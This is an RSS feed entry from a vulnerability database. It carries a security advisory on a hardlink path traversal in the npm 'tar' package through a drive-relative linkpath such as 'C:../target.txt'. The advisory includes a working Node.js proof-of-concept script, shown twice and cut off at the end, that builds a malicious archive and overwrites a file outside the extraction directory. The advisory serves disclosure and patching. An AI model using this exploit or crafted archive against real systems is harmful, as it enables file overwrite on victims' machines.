<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 11:38:55 +0000</lastBuildDate>
    <item>
      <title>GHSA-qffp-2rhf-9h96 — tar has Hardlink Path Traversal via Drive-Relative Linkpath</title>
      <link>https://db.gcve.eu/vuln/ghsa-qffp-2rhf-9h96</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: tar&lt;/p&gt;
&lt;p&gt;### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.&lt;/p&gt;
&lt;p&gt;### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.&lt;/p&gt;
&lt;p&gt;What happens with `linkpath: &amp;#34;C:../target.txt&amp;#34;`:
1. Split on `/` gives `[&amp;#39;C:..&amp;#39;, &amp;#39;target.txt&amp;#39;]`, so `parts.includes(&amp;#39;..&amp;#39;)` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.&lt;/p&gt;
&lt;p&gt;This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.&lt;/p&gt;
&lt;p&gt;### PoC
Tested on Arch Linux with `tar@7.5.9`.&lt;/p&gt;
&lt;p&gt;PoC script (`poc.cjs`):&lt;/p&gt;
&lt;p&gt;```js
const fs = require(&amp;#39;fs&amp;#39;)
const path = require(&amp;#39;path&amp;#39;)
const { Header, x } = require(&amp;#39;tar&amp;#39;)&lt;/p&gt;
&lt;p&gt;const cwd = process.cwd()
const target = path.resolve(cwd, &amp;#39;..&amp;#39;, &amp;#39;target.txt&amp;#39;)
const tarFile = path.join(process.cwd(), &amp;#39;poc.tar&amp;#39;)&lt;/p&gt;
&lt;p&gt;fs.writeFileSync(target, &amp;#39;ORIGINAL\n&amp;#39;)&lt;/p&gt;
&lt;p&gt;const b = Buffer.alloc(1536)
new Header({ path: &amp;#39;l&amp;#39;, type: &amp;#39;Link&amp;#39;, linkpath: &amp;#39;C:../target.txt&amp;#39; }).encode(b, 0)
fs.writeFileSync(tarFile, b)&lt;/p&gt;
&lt;p&gt;x({ cwd, file: tarFile }).then(() =&amp;gt; {
  fs.writeFileSync(path.join(cwd, &amp;#39;l&amp;#39;), &amp;#39;PWNED\n&amp;#39;)
  process.stdout.write(fs.readFileSync(target, &amp;#39;utf8&amp;#39;))
})…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: tar&lt;/p&gt;
&lt;p&gt;### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.&lt;/p&gt;
&lt;p&gt;### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.&lt;/p&gt;
&lt;p&gt;What happens with `linkpath: &amp;#34;C:../target.txt&amp;#34;`:
1. Split on `/` gives `[&amp;#39;C:..&amp;#39;, &amp;#39;target.txt&amp;#39;]`, so `parts.includes(&amp;#39;..&amp;#39;)` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.&lt;/p&gt;
&lt;p&gt;This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.&lt;/p&gt;
&lt;p&gt;### PoC
Tested on Arch Linux with `tar@7.5.9`.&lt;/p&gt;
&lt;p&gt;PoC script (`poc.cjs`):&lt;/p&gt;
&lt;p&gt;```js
const fs = require(&amp;#39;fs&amp;#39;)
const path = require(&amp;#39;path&amp;#39;)
const { Header, x } = require(&amp;#39;tar&amp;#39;)&lt;/p&gt;
&lt;p&gt;const cwd = process.cwd()
const target = path.resolve(cwd, &amp;#39;..&amp;#39;, &amp;#39;target.txt&amp;#39;)
const tarFile = path.join(process.cwd(), &amp;#39;poc.tar&amp;#39;)&lt;/p&gt;
&lt;p&gt;fs.writeFileSync(target, &amp;#39;ORIGINAL\n&amp;#39;)&lt;/p&gt;
&lt;p&gt;const b = Buffer.alloc(1536)
new Header({ path: &amp;#39;l&amp;#39;, type: &amp;#39;Link&amp;#39;, linkpath: &amp;#39;C:../target.txt&amp;#39; }).encode(b, 0)
fs.writeFileSync(tarFile, b)&lt;/p&gt;
&lt;p&gt;x({ cwd, file: tarFile }).then(() =&amp;gt; {
  fs.writeFileSync(path.join(cwd, &amp;#39;l&amp;#39;), &amp;#39;PWNED\n&amp;#39;)
  process.stdout.write(fs.readFileSync(target, &amp;#39;utf8&amp;#39;))
})…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-qffp-2rhf-9h96</guid>
    </item>
  </channel>
</rss>
